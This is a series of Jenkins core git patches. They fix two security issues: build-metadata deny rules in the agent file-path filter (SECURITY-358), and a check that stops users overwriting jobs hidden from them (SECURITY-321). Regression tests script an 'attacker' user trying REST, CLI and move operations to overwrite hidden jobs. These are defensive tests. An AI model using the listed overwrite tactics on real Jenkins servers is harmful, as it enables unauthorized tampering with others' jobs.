MyViewsProperty(Messages.Hudson_ViewName()); + MyViewsProperty property = new MyViewsProperty(AllView.DEFAULT_VIEW_NAME); property.readResolve(); property.setUser(user); user.addProperty(property); - assertEquals("Property should have primary view " + Messages.Hudson_ViewName() + " instead of " + property.getPrimaryView(). name,property.getView(Messages.Hudson_ViewName()), property.getPrimaryView()); + assertEquals("Property should have primary view " + AllView.DEFAULT_VIEW_NAME + " instead of " + property.getPrimaryView(). name,property.getView(AllView.DEFAULT_VIEW_NAME), property.getPrimaryView()); View view = new ListView("foo", property); property.addView(view); property.setPrimaryViewName(view.name); @@ -117,35 +118,35 @@ public class MyViewsPropertyTest { @Test public void testCanDelete() throws IOException { User user = User.get("User"); - MyViewsProperty property = new MyViewsProperty(Messages.Hudson_ViewName()); + MyViewsProperty property = new MyViewsProperty(AllView.DEFAULT_VIEW_NAME); property.readResolve(); property.setUser(user); user.addProperty(property); - assertFalse("Property should not enable to delete view " + Messages.Hudson_ViewName(), property.canDelete(property.getView(Messages.Hudson_ViewName()))); + assertFalse("Property should not enable to delete view " + AllView.DEFAULT_VIEW_NAME, property.canDelete(property.getView(AllView.DEFAULT_VIEW_NAME))); View view = new ListView("foo", property); property.addView(view); assertTrue("Property should enable to delete view " + view.name , property.canDelete(view)); property.setPrimaryViewName(view.name); assertFalse("Property should not enable to delete view " + view.name , property.canDelete(view)); - assertTrue("Property should enable to delete view " + Messages.Hudson_ViewName(), property.canDelete(property.getView(Messages.Hudson_ViewName()))); + assertTrue("Property should enable to delete view " + AllView.DEFAULT_VIEW_NAME, property.canDelete(property.getView(AllView.DEFAULT_VIEW_NAME))); } @Test public void testDeleteView() throws IOException { User user = User.get("User"); - MyViewsProperty property = new MyViewsProperty(Messages.Hudson_ViewName()); + MyViewsProperty property = new MyViewsProperty(AllView.DEFAULT_VIEW_NAME); property.readResolve(); property.setUser(user); user.addProperty(property); boolean ex = false; try{ - property.deleteView(property.getView(Messages.Hudson_ViewName())); + property.deleteView(property.getView(AllView.DEFAULT_VIEW_NAME)); } catch(IllegalStateException e){ ex = true; } assertTrue("Property should throw IllegalStateException.", ex); - assertTrue("Property should contain view " + Messages.Hudson_ViewName(), property.getViews().contains(property.getView(Messages.Hudson_ViewName()))); + assertTrue("Property should contain view " + AllView.DEFAULT_VIEW_NAME, property.getViews().contains(property.getView(AllView.DEFAULT_VIEW_NAME))); View view = new ListView("foo", property); property.addView(view); ex = false; @@ -159,14 +160,14 @@ public class MyViewsPropertyTest { property.addView(view); property.setPrimaryViewName(view.name); assertTrue("Property should not contain view " + view.name , property.getViews().contains(view)); - property.deleteView(property.getView(Messages.Hudson_ViewName())); - assertFalse("Property should not contains view " + Messages.Hudson_ViewName(), property.getViews().contains(property.getView(Messages.Hudson_ViewName()))); + property.deleteView(property.getView(AllView.DEFAULT_VIEW_NAME)); + assertFalse("Property should not contains view " + AllView.DEFAULT_VIEW_NAME, property.getViews().contains(property.getView(AllView.DEFAULT_VIEW_NAME))); } @Test public void testOnViewRenamed() throws IOException, Failure, FormException { User user = User.get("User"); - MyViewsProperty property = new MyViewsProperty(Messages.Hudson_ViewName()); + MyViewsProperty property = new MyViewsProperty(AllView.DEFAULT_VIEW_NAME); property.readResolve(); property.setUser(user); user.addProperty(property); @@ -180,7 +181,7 @@ public class MyViewsPropertyTest { @Test public void testAddView() throws IOException { User user = User.get("User"); - MyViewsProperty property = new MyViewsProperty(Messages.Hudson_ViewName()); + MyViewsProperty property = new MyViewsProperty(AllView.DEFAULT_VIEW_NAME); property.readResolve(); property.setUser(user); user.addProperty(property); @@ -196,7 +197,7 @@ public class MyViewsPropertyTest { @Test public void testDoCreateView() throws Exception { User user = User.get("User"); - MyViewsProperty property = new MyViewsProperty(Messages.Hudson_ViewName()); + MyViewsProperty property = new MyViewsProperty(AllView.DEFAULT_VIEW_NAME); property.readResolve(); property.setUser(user); user.addProperty(property); @@ -213,7 +214,7 @@ public class MyViewsPropertyTest { @Test public void testGetACL() throws IOException { User user = User.get("User"); - MyViewsProperty property = new MyViewsProperty(Messages.Hudson_ViewName()); + MyViewsProperty property = new MyViewsProperty(AllView.DEFAULT_VIEW_NAME); property.readResolve(); property.setUser(user); user.addProperty(property); @@ -227,7 +228,7 @@ public class MyViewsPropertyTest { rule.jenkins.setSecurityRealm(rule.createDummySecurityRealm()); User user = User.get("User"); User user2 = User.get("User2"); - MyViewsProperty property = new MyViewsProperty(Messages.Hudson_ViewName()); + MyViewsProperty property = new MyViewsProperty(AllView.DEFAULT_VIEW_NAME); property.readResolve(); property.setUser(user); GlobalMatrixAuthorizationStrategy auth = new GlobalMatrixAuthorizationStrategy(); @@ -264,7 +265,7 @@ public class MyViewsPropertyTest { rule.jenkins.setSecurityRealm(rule.createDummySecurityRealm()); User user = User.get("User"); User user2 = User.get("User2"); - MyViewsProperty property = new MyViewsProperty(Messages.Hudson_ViewName()); + MyViewsProperty property = new MyViewsProperty(AllView.DEFAULT_VIEW_NAME); property.readResolve(); property.setUser(user); GlobalMatrixAuthorizationStrategy auth = new GlobalMatrixAuthorizationStrategy(); -- GitLab From 37419d5de23b7e4732c409daa637d899bd6c7052 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Fri, 9 Dec 2016 10:06:35 -0500 Subject: [PATCH 569/811] [SECURITY-358] Restrict access to metadata used by WorkflowRun. --- .../jenkins/security/s2m/filepath-filter.conf | 3 + .../security/s2m/AdminFilePathFilterTest.java | 60 +++++++++++++++++++ .../{ => s2m}/DefaultFilePathFilterTest.java | 12 +--- 3 files changed, 64 insertions(+), 11 deletions(-) create mode 100644 test/src/test/java/jenkins/security/s2m/AdminFilePathFilterTest.java rename test/src/test/java/jenkins/security/{ => s2m}/DefaultFilePathFilterTest.java (89%) diff --git a/core/src/main/resources/jenkins/security/s2m/filepath-filter.conf b/core/src/main/resources/jenkins/security/s2m/filepath-filter.conf index faa7cffa16..7e4f5308c9 100644 --- a/core/src/main/resources/jenkins/security/s2m/filepath-filter.conf +++ b/core/src/main/resources/jenkins/security/s2m/filepath-filter.conf @@ -23,6 +23,9 @@ allow read,stat /userContent($|/.*) # In the next rule we grant general access under build directories, so first we protect # the actual build record that Jenkins core reads, which nothing should be touching. deny all /build.xml +# Similarly for Pipeline build (WorkflowRun) metadata: +deny all /program.dat +deny all /workflow($|/.*) # Various plugins read/write files under build directories, so allow them all. # - git 1.x writes changelog.xml from the slave (2.x writes from the master so need not be listed) diff --git a/test/src/test/java/jenkins/security/s2m/AdminFilePathFilterTest.java b/test/src/test/java/jenkins/security/s2m/AdminFilePathFilterTest.java new file mode 100644 index 0000000000..4df4df76ca --- /dev/null +++ b/test/src/test/java/jenkins/security/s2m/AdminFilePathFilterTest.java @@ -0,0 +1,60 @@ +/* + * The MIT License + * + * Copyright 2016 CloudBees, Inc. + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +package jenkins.security.s2m; + +import java.io.File; +import javax.inject.Inject; +import static org.junit.Assert.*; +import org.junit.Before; +import org.junit.Rule; +import org.junit.Test; +import org.jvnet.hudson.test.JenkinsRule; + +public class AdminFilePathFilterTest { + + @Rule + public JenkinsRule r = new JenkinsRule(); + + @Inject + AdminWhitelistRule rule; + + @Before + public void setUp() { + r.jenkins.getInjector().injectMembers(this); + rule.setMasterKillSwitch(false); + } + + // TODO in master when using a version taking a String[]: @Issue({"JENKINS-27055", "SECURITY-358"}) + @Test + public void matchBuildDir() throws Exception { + File buildDir = r.buildAndAssertSuccess(r.createFreeStyleProject()).getRootDir(); + assertTrue(rule.checkFileAccess("write", new File(buildDir, "whatever"))); + assertFalse(rule.checkFileAccess("write", new File(buildDir, "build.xml"))); + // WorkflowRun: + assertFalse(rule.checkFileAccess("write", new File(buildDir, "program.dat"))); + assertFalse(rule.checkFileAccess("write", new File(buildDir, "workflow/23.xml"))); + } + +} diff --git a/test/src/test/java/jenkins/security/DefaultFilePathFilterTest.java b/test/src/test/java/jenkins/security/s2m/DefaultFilePathFilterTest.java similarity index 89% rename from test/src/test/java/jenkins/security/DefaultFilePathFilterTest.java rename to test/src/test/java/jenkins/security/s2m/DefaultFilePathFilterTest.java index 6a91ec7db5..8dd83964cd 100644 --- a/test/src/test/java/jenkins/security/DefaultFilePathFilterTest.java +++ b/test/src/test/java/jenkins/security/s2m/DefaultFilePathFilterTest.java @@ -22,7 +22,7 @@ * THE SOFTWARE. */ -package jenkins.security; +package jenkins.security.s2m; import hudson.FilePath; import hudson.model.Slave; @@ -31,8 +31,6 @@ import java.io.File; import java.io.PrintWriter; import java.io.StringWriter; -import jenkins.security.s2m.AdminWhitelistRule; -import jenkins.security.s2m.DefaultFilePathFilter; import org.jenkinsci.remoting.RoleChecker; import org.junit.Before; import org.junit.Test; @@ -41,7 +39,6 @@ import org.junit.Rule; import org.jvnet.hudson.test.JenkinsRule; import javax.inject.Inject; -import org.jvnet.hudson.test.Issue; public class DefaultFilePathFilterTest { @@ -112,11 +109,4 @@ public class DefaultFilePathFilterTest { } } - @Issue("JENKINS-27055") - @Test public void matchBuildDir() throws Exception { - File f = new File(r.buildAndAssertSuccess(r.createFreeStyleProject()).getRootDir(), "whatever"); - rule.setMasterKillSwitch(false); - assertTrue(rule.checkFileAccess("write", f)); - } - } -- GitLab From d4f7fb1896f3b6a38eabb776e396a8c844c68adc Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Fri, 9 Dec 2016 17:18:33 -0500 Subject: [PATCH 570/811] [SECURITY-321] Prevent existing items from being overwritten even if you cannot DISCOVER them. --- .../main/java/hudson/model/AbstractItem.java | 24 +- .../java/hudson/model/ItemGroupMixIn.java | 9 +- core/src/main/java/hudson/model/Items.java | 33 +- .../hudson/model/AbstractProjectTest.groovy | 33 -- .../src/test/java/hudson/model/ItemsTest.java | 404 ++++++++++++++++++ 5 files changed, 437 insertions(+), 66 deletions(-) diff --git a/core/src/main/java/hudson/model/AbstractItem.java b/core/src/main/java/hudson/model/AbstractItem.java index e62e031deb..76762e3612 100644 --- a/core/src/main/java/hudson/model/AbstractItem.java +++ b/core/src/main/java/hudson/model/AbstractItem.java @@ -45,7 +45,6 @@ import hudson.util.Secret; import jenkins.model.DirectlyModifiableTopLevelItemGroup; import jenkins.model.Jenkins; import jenkins.security.NotReallyRoleSensitiveCallable; -import org.acegisecurity.Authentication; import jenkins.util.xml.XMLUtils; import org.apache.tools.ant.taskdefs.Copy; @@ -76,7 +75,6 @@ import org.kohsuke.stapler.interceptor.RequirePOST; import org.xml.sax.SAXException; import javax.servlet.ServletException; -import javax.servlet.ServletOutputStream; import javax.xml.transform.Source; import javax.xml.transform.TransformerException; import javax.xml.transform.stream.StreamResult; @@ -236,27 +234,7 @@ public abstract class AbstractItem extends Actionable implements Item, HttpDelet if (this.name.equals(newName)) return; - // the test to see if the project already exists or not needs to be done in escalated privilege - // to avoid overwriting - ACL.impersonate(ACL.SYSTEM,new NotReallyRoleSensitiveCallable() { - final Authentication user = Jenkins.getAuthentication(); - @Override - public Void call() throws IOException { - Item existing = parent.getItem(newName); - if (existing != null && existing!=AbstractItem.this) { - if (existing.getACL().hasPermission(user,Item.DISCOVER)) - // the look up is case insensitive, so we need "existing!=this" - // to allow people to rename "Foo" to "foo", for example. - // see http://www.nabble.com/error-on-renaming-project-tt18061629.html - throw new IllegalArgumentException("Job " + newName + " already exists"); - else { - // can't think of any real way to hide this, but at least the error message could be vague. - throw new IOException("Unable to rename to " + newName); - } - } - return null; - } - }); + Items.verifyItemDoesNotAlreadyExist(parent, newName, this); File oldRoot = this.getRootDir(); diff --git a/core/src/main/java/hudson/model/ItemGroupMixIn.java b/core/src/main/java/hudson/model/ItemGroupMixIn.java index bfbb7a46db..fc1016ba2a 100644 --- a/core/src/main/java/hudson/model/ItemGroupMixIn.java +++ b/core/src/main/java/hudson/model/ItemGroupMixIn.java @@ -262,10 +262,7 @@ public abstract class ItemGroupMixIn { acl.checkPermission(Item.CREATE); Jenkins.getInstance().getProjectNamingStrategy().checkName(name); - if (parent.getItem(name) != null) { - throw new IllegalArgumentException(parent.getDisplayName() + " already contains an item '" + name + "'"); - } - // TODO what if we have no DISCOVER permission on the existing job? + Items.verifyItemDoesNotAlreadyExist(parent, name, null); // place it as config.xml File configXml = Items.getConfigFile(getRootDirFor(name)).getFile(); @@ -318,9 +315,7 @@ public abstract class ItemGroupMixIn { acl.getACL().checkCreatePermission(parent, type); Jenkins.getInstance().getProjectNamingStrategy().checkName(name); - if(parent.getItem(name)!=null) - throw new IllegalArgumentException("Project of the name "+name+" already exists"); - // TODO problem with DISCOVER as noted above + Items.verifyItemDoesNotAlreadyExist(parent, name, null); TopLevelItem item = type.newInstance(parent, name); try { diff --git a/core/src/main/java/hudson/model/Items.java b/core/src/main/java/hudson/model/Items.java index 8700c0554f..343fe1edd8 100644 --- a/core/src/main/java/hudson/model/Items.java +++ b/core/src/main/java/hudson/model/Items.java @@ -52,6 +52,8 @@ import javax.annotation.CheckForNull; import javax.annotation.Nonnull; import jenkins.model.DirectlyModifiableTopLevelItemGroup; +import org.acegisecurity.context.SecurityContext; +import org.acegisecurity.context.SecurityContextHolder; import org.apache.commons.io.FileUtils; /** @@ -419,9 +421,7 @@ public class Items { throw new IllegalArgumentException(); } String name = item.getName(); - if (destination.getItem(name) != null) { - throw new IllegalArgumentException(name + " already exists"); - } + verifyItemDoesNotAlreadyExist(destination, name, null); String oldFullName = item.getFullName(); // TODO AbstractItem.renameTo has a more baroque implementation; factor it out into a utility method perhaps? File destDir = destination.getRootDirFor(item); @@ -434,6 +434,33 @@ public class Items { return newItem; } + /** + * Securely check for the existence of an item before trying to create one with the same name. + * @param parent the folder where we are about to create/rename/move an item + * @param newName the proposed new name + * @param variant if not null, an existing item which we accept could be there + * @throws IllegalArgumentException if there is already something there, which you were supposed to know about + * @throws Failure if there is already something there but you should not be told details + */ + static void verifyItemDoesNotAlreadyExist(@Nonnull ItemGroup parent, @Nonnull String newName, @CheckForNull Item variant) throws IllegalArgumentException, Failure { + Item existing; + SecurityContext orig = ACL.impersonate(ACL.SYSTEM); + try { + existing = parent.getItem(newName); + } finally { + SecurityContextHolder.setContext(orig); + } + if (existing != null && existing != variant) { + if (existing.hasPermission(Item.DISCOVER)) { + String prefix = parent.getFullName(); + throw new IllegalArgumentException((prefix.isEmpty() ? "" : prefix + "/") + newName + " already exists"); + } else { + // Cannot hide its existence, so at least be as vague as possible. + throw new Failure(""); + } + } + } + /** * Used to load/save job configuration. * diff --git a/test/src/test/groovy/hudson/model/AbstractProjectTest.groovy b/test/src/test/groovy/hudson/model/AbstractProjectTest.groovy index 4121cbf75e..3c72652556 100644 --- a/test/src/test/groovy/hudson/model/AbstractProjectTest.groovy +++ b/test/src/test/groovy/hudson/model/AbstractProjectTest.groovy @@ -525,39 +525,6 @@ public class AbstractProjectTest extends HudsonTestCase { done.signal() } - public void testRenameToPrivileged() { - def secret = jenkins.createProject(FreeStyleProject.class,"secret"); - def regular = jenkins.createProject(FreeStyleProject.class,"regular") - - jenkins.securityRealm = createDummySecurityRealm(); - def auth = new ProjectMatrixAuthorizationStrategy(); - jenkins.authorizationStrategy = auth; - - auth.add(Jenkins.ADMINISTER, "alice"); - auth.add(Jenkins.READ, "bob"); - - // bob the regular user can only see regular jobs - regular.addProperty(new AuthorizationMatrixProperty([(Job.READ) : ["bob"] as Set])); - - def wc = createWebClient() - wc.login("bob") - wc.executeOnServer { - assert jenkins.getItem("secret")==null; - try { - regular.renameTo("secret") - fail("rename as an overwrite should have failed"); - } catch (Exception e) { - // expected rename to fail in some non-descriptive generic way - e.printStackTrace() - } - } - - // those two jobs should still be there - assert jenkins.getItem("regular")!=null; - assert jenkins.getItem("secret")!=null; - } - - /** * Trying to POST to config.xml by a different job type should fail. */ diff --git a/test/src/test/java/hudson/model/ItemsTest.java b/test/src/test/java/hudson/model/ItemsTest.java index 59e168b4e6..9a1ad9cc53 100644 --- a/test/src/test/java/hudson/model/ItemsTest.java +++ b/test/src/test/java/hudson/model/ItemsTest.java @@ -24,8 +24,37 @@ package hudson.model; +import com.gargoylesoftware.htmlunit.FailingHttpStatusCodeException; +import com.gargoylesoftware.htmlunit.HttpMethod; +import com.gargoylesoftware.htmlunit.WebRequest; +import com.gargoylesoftware.htmlunit.WebResponse; +import hudson.AbortException; +import hudson.cli.CLICommand; +import hudson.cli.CLICommandInvoker; +import hudson.cli.CopyJobCommand; +import hudson.cli.CreateJobCommand; +import hudson.security.ACL; +import hudson.security.AuthorizationStrategy; +import hudson.security.Permission; +import hudson.security.SidACL; +import hudson.security.csrf.CrumbIssuer; +import java.io.ByteArrayInputStream; import java.io.File; +import java.io.IOException; +import java.net.URL; +import java.util.ArrayList; import java.util.Arrays; +import java.util.Collection; +import java.util.Collections; +import java.util.HashSet; +import java.util.List; +import java.util.Set; +import java.util.regex.Pattern; +import jenkins.model.Jenkins; +import org.acegisecurity.acls.sid.Sid; +import org.acegisecurity.context.SecurityContext; +import org.acegisecurity.context.SecurityContextHolder; +import org.apache.commons.httpclient.HttpStatus; import org.junit.Test; import static org.junit.Assert.*; @@ -73,5 +102,380 @@ public class ItemsTest { assertFalse(new File(tmp, "foo/test/1").exists()); assertTrue(new File(tmp, "bar/test/1").exists()); } + + // TODO would be more efficient to run these all as a single test case, but after a few Jetty seems to stop serving new content and new requests just hang. + + private void overwriteTargetSetUp() throws Exception { + // A fully visible item: + r.createFreeStyleProject("visible").setDescription("visible"); + // An item known to exist but not visible: + r.createFreeStyleProject("known").setDescription("known"); + // An item not even known to exist: + r.createFreeStyleProject("secret").setDescription("secret"); + // A folder from which to launch move attacks: + r.createFolder("d"); + r.jenkins.setSecurityRealm(r.createDummySecurityRealm()); + r.jenkins.setAuthorizationStrategy(new MockAuthorizationStrategy(). + grant(Jenkins.READ).everywhere().to("attacker"). + grant(Item.READ, Item.CONFIGURE, Item.CREATE, Item.DELETE).onPaths("(?!known|secret).*").to("attacker"). + grant(Item.DISCOVER).onPaths("known").to("attacker")); + } + + /** Control cases: if there is no such item yet, nothing is stopping you. */ + @Test public void overwriteNonexistentTarget() throws Exception { + overwriteTargetSetUp(); + for (OverwriteTactic tactic : OverwriteTactic.values()) { + tactic.run(r, "nonexistent"); + System.out.println(tactic + " worked as expected on a nonexistent target"); + r.jenkins.getItem("nonexistent").delete(); + } + } + + private void cannotOverwrite(String target) throws Exception { + overwriteTargetSetUp(); + for (OverwriteTactic tactic : OverwriteTactic.values()) { + try { + tactic.run(r, target); + fail(tactic + " was not supposed to work against " + target); + } catch (Exception x) { + System.out.println("good, " + tactic + " failed on " + target + ": " + x); + assertEquals(tactic + " still overwrote " + target, target, r.jenkins.getItemByFullName(target, FreeStyleProject.class).getDescription()); + } + } + } + + /** More control cases: for non-security-sensitive scenarios, we prevent you from overwriting existing items. */ + @Test public void overwriteVisibleTarget() throws Exception { + cannotOverwrite("visible"); + } + + /** You may not overwrite an item you know is there even if you cannot see it. */ + @Test public void overwriteKnownTarget() throws Exception { + cannotOverwrite("known"); + } + + /** You are somehow prevented from overwriting an item even if you did not previously know it was there. */ + @Issue("SECURITY-321") + @Test public void overwriteHiddenTarget() throws Exception { + cannotOverwrite("secret"); + } + + /** All known means of creating an item under a new name. */ + private enum OverwriteTactic { + /** Use the REST command to create an empty project (normally used only from the UI in the New Item dialog). */ + REST_EMPTY { + @Override void run(JenkinsRule r, String target) throws Exception { + JenkinsRule.WebClient wc = wc(r); + wc.getOptions().setRedirectEnabled(false); + wc.getOptions().setThrowExceptionOnFailingStatusCode(false); // redirect perversely counts as a failure + WebResponse webResponse = wc.getPage(new WebRequest(createCrumbedUrl(r, wc, "createItem?name=" + target + "&mode=hudson.model.FreeStyleProject"), HttpMethod.POST)).getWebResponse(); + if (webResponse.getStatusCode() != HttpStatus.SC_MOVED_TEMPORARILY) { + throw new FailingHttpStatusCodeException(webResponse); + } + } + }, + /** Use the REST command to copy an existing project (normally used from the UI in the New Item dialog). */ + REST_COPY { + @Override void run(JenkinsRule r, String target) throws Exception { + r.createFreeStyleProject("dupe"); + JenkinsRule.WebClient wc = wc(r); + wc.getOptions().setRedirectEnabled(false); + wc.getOptions().setThrowExceptionOnFailingStatusCode(false); + WebResponse webResponse = wc.getPage(new WebRequest(createCrumbedUrl(r, wc, "createItem?name=" + target + "&mode=copy&from=dupe"), HttpMethod.POST)).getWebResponse(); + r.jenkins.getItem("dupe").delete(); + if (webResponse.getStatusCode() != HttpStatus.SC_MOVED_TEMPORARILY) { + throw new FailingHttpStatusCodeException(webResponse); + } + } + }, + /** Overwrite target using REST command to create a project from XML submission. */ + REST_CREATE { + @Override void run(JenkinsRule r, String target) throws Exception { + JenkinsRule.WebClient wc = wc(r); + WebRequest req = new WebRequest(createCrumbedUrl(r, wc, "createItem?name=" + target), HttpMethod.POST); + req.setAdditionalHeader("Content-Type", "application/xml"); + req.setRequestBody(""); + wc.getPage(req); + } + }, + /** Overwrite target using REST command to rename an existing project (normally used from the UI in the Configure screen). */ + REST_RENAME { + @Override void run(JenkinsRule r, String target) throws Exception { + r.createFreeStyleProject("dupe"); + JenkinsRule.WebClient wc = wc(r); + wc.getOptions().setRedirectEnabled(false); + wc.getOptions().setThrowExceptionOnFailingStatusCode(false); + WebResponse webResponse = wc.getPage(new WebRequest(createCrumbedUrl(r, wc, "job/dupe/doRename?newName=" + target), HttpMethod.POST)).getWebResponse(); + if (webResponse.getStatusCode() != HttpStatus.SC_MOVED_TEMPORARILY) { + r.jenkins.getItem("dupe").delete(); + throw new FailingHttpStatusCodeException(webResponse); + } + assertNull(r.jenkins.getItem("dupe")); + } + }, + /** Overwrite target using the CLI {@code create-job} command. */ + CLI_CREATE { + @Override void run(JenkinsRule r, String target) throws Exception { + CLICommand cmd = new CreateJobCommand(); + CLICommandInvoker invoker = new CLICommandInvoker(r, cmd); + cmd.setTransportAuth(User.get("attacker").impersonate()); + int status = invoker.withStdin(new ByteArrayInputStream("".getBytes("US-ASCII"))).invokeWithArgs(target).returnCode(); + if (status != 0) { + throw new AbortException("CLI command failed with status " + status); + } + } + }, + /** Overwrite target using the CLI {@code copy-job} command. */ + CLI_COPY { + @Override void run(JenkinsRule r, String target) throws Exception { + r.createFreeStyleProject("dupe"); + CLICommand cmd = new CopyJobCommand(); + CLICommandInvoker invoker = new CLICommandInvoker(r, cmd); + cmd.setTransportAuth(User.get("attacker").impersonate()); + int status = invoker.invokeWithArgs("dupe", target).returnCode(); + r.jenkins.getItem("dupe").delete(); + if (status != 0) { + throw new AbortException("CLI command failed with status " + status); + } + } + }, + /** Overwrite target using a move function normally called from {@code cloudbees-folder} via a {@code move} action. */ + MOVE { + @Override void run(JenkinsRule r, String target) throws Exception { + try { + SecurityContext orig = ACL.impersonate(User.get("attacker").impersonate()); + try { + Items.move(r.jenkins.getItemByFullName("d", MockFolder.class).createProject(FreeStyleProject.class, target), r.jenkins); + } finally { + SecurityContextHolder.setContext(orig); + } + assertNull(r.jenkins.getItemByFullName("d/" + target)); + } catch (Exception x) { + r.jenkins.getItemByFullName("d/" + target).delete(); + throw x; + } + } + }; + abstract void run(JenkinsRule r, String target) throws Exception; + private static final JenkinsRule.WebClient wc(JenkinsRule r) throws Exception { + return r.createWebClient().login("attacker"); + } + // TODO replace with standard version once it is fixed to detect an existing query string + private static URL createCrumbedUrl(JenkinsRule r, JenkinsRule.WebClient wc, String relativePath) throws IOException { + CrumbIssuer issuer = r.jenkins.getCrumbIssuer(); + String crumbName = issuer.getDescriptor().getCrumbRequestField(); + String crumb = issuer.getCrumb(null); + return new URL(wc.getContextPath() + relativePath + (relativePath.contains("?") ? "&" : "?") + crumbName + "=" + crumb); + } + } + + // TODO delete in 1.651+ and use standard version + /** + * An authorization strategy configured in a fluent style from test code. + * Install using {@link Jenkins#setAuthorizationStrategy}. + * You probably also want to call {@link Jenkins#setSecurityRealm} on {@link JenkinsRule#createDummySecurityRealm}. + */ + private static class MockAuthorizationStrategy extends AuthorizationStrategy { + + private final List grantsOnTo = new ArrayList(); + + /** Creates a new strategy granting no permissions. */ + public MockAuthorizationStrategy() {} + + /** + * Begin granting a set of permissions. + * Note that grants cannot be subsequently revoked, but you could reset the strategy to a newly configured one. + * @param permissions which permissions to grant ({@link Permission#impliedBy} is honored) + */ + public Grant grant(Permission... permissions) { + Set effective = new HashSet(Arrays.asList(permissions)); + boolean added = true; + while (added) { + added = false; + for (Permission p : Permission.getAll()) { + added |= effective.contains(p.impliedBy) && effective.add(p); + } + } + return new Grant(effective); + } + + /** + * Like {@link #grant} but does not honor {@link Permission#impliedBy}. + */ + public Grant grantWithoutImplication(Permission... permissions) { + return new Grant(new HashSet(Arrays.asList(permissions))); + } + + /** + * A grant of a set of permissions. + * You must proceed to specify where they should be granted. + */ + public class Grant { + + private final Set permissions; + + Grant(Set permissions) { + this.permissions = permissions; + } + + /** + * Everywhere in Jenkins. + */ + public GrantOn everywhere() { + return onPaths(".*"); + } + + /** + * On {@code Jenkins} itself, but not any child objects. + */ + public GrantOn onRoot() { + return onPaths(""); + } + + /** + * On some items such as jobs. + * If some of these happen to be {@link ItemGroup}s, the grant is not applied to children. + */ + public GrantOn onItems(Item... items) { + String[] paths = new String[items.length]; + for (int i = 0; i < items.length; i++) { + paths[i] = Pattern.quote(items[i].getFullName()); + } + return onPaths(paths); + } + + /** + * On some item groups, typically folders. + * The grant applies to the folder itself as well as any (direct or indirect) children. + */ + public GrantOn onFolders(ItemGroup... folders) { + String[] paths = new String[folders.length]; + for (int i = 0; i < folders.length; i++) { + paths[i] = Pattern.quote(folders[i].getFullName()) + "(|/.+)"; + } + return onPaths(paths); + } + + /** + * On some item path expressions. + * Each element is an implicitly rooted regular expression. + * {@code Jenkins} itself is {@code ""}, a top-level job would be {@code "jobname"}, a nested job would be {@code "folder/jobname"}, etc. + * Grants are not implicitly applied to child objects. + */ + public GrantOn onPaths(String... pathRegexps) { + StringBuilder b = new StringBuilder(); + boolean first = true; + for (String rx : pathRegexps) { + if (first) { + first = false; + } else { + b.append('|'); + } + b.append("(?:").append(rx).append(')'); + } + return new GrantOn(b.toString()); + } + + /** + * A grant of some permissions in certain places. + * You must proceed to specify to whom the grant is made. + */ + public class GrantOn { + + private final Pattern regexp; + + GrantOn(String regexp) { + this.regexp = Pattern.compile(regexp); + } + + /** To some users or groups. */ + public MockAuthorizationStrategy to(String... sids) { + return new GrantOnTo(new HashSet(Arrays.asList(sids))).add(); + } + + /** To some users. */ + public MockAuthorizationStrategy to(User... users) { + String[] sids = new String[users.length]; + for (int i = 0; i < users.length; i++) { + sids[i] = users[i].getId(); + } + return to(sids); + } + + /** To everyone, including anonymous users. */ + public MockAuthorizationStrategy toEveryone() { + return to(/* SidACL.toString(ACL.EVERYONE) */"role_everyone"); + } + + /** To all authenticated users. */ + public MockAuthorizationStrategy toAuthenticated() { + return to(/* SecurityRealm.AUTHENTICATED_AUTHORITY */"authenticated"); + } + + private class GrantOnTo { + + private final Set sids; + + GrantOnTo(Set sids) { + this.sids = sids; + } + + MockAuthorizationStrategy add() { + grantsOnTo.add(this); + return MockAuthorizationStrategy.this; + } + + boolean matches(String path, String name, Permission permission) { + return regexp.matcher(path).matches() && + sids.contains(name) && // TODO consider IdStrategy + permissions.contains(permission); + } + + } + + } + + } + + @Override + public ACL getRootACL() { + return new ACLImpl(""); + } + + @Override + public ACL getACL(AbstractItem item) { + return new ACLImpl(item.getFullName()); + } + + @Override + public ACL getACL(Job project) { + return getACL((AbstractItem) project); // stupid overload + } + + private class ACLImpl extends SidACL { + + private final String path; + + ACLImpl(String path) { + this.path = path; + } + + @Override protected Boolean hasPermission(Sid p, Permission permission) { + String name = toString(p); + for (Grant.GrantOn.GrantOnTo grantOnTo : grantsOnTo) { + if (grantOnTo.matches(path, name, permission)) { + return true; + } + } + return null; // allow groups to be checked after users, etc. + } + + } + + @Override + public Collection getGroups() { + return Collections.emptySet(); // we do not differentiate usernames from groups + } + } } -- GitLab From e4620c6d6d6d2438eb9088bc9d377a546c5fe4bf Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Fri, 9 Dec 2016 17:27:46 -0500 Subject: [PATCH 571/811] Restoring relevant explanatory comment. --- core/src/main/java/hudson/model/AbstractItem.java | 3 +++ 1 file changed, 3 insertions(+) diff --git a/core/src/main/java/hudson/model/AbstractItem.java b/core/src/main/java/hudson/model/AbstractItem.java index 76762e3612..edd3dc5503 100644 --- a/core/src/main/java/hudson/model/AbstractItem.java +++ b/core/src/main/java/hudson/model/AbstractItem.java @@ -234,6 +234,9 @@ public abstract class AbstractItem extends Actionable implements Item, HttpDelet if (this.name.equals(newName)) return; + // the lookup is case insensitive, so we should not fail if this item was the “existing” one + // to allow people to rename "Foo" to "foo", for example. + // see http://www.nabble.com/error-on-renaming-project-tt18061629.html 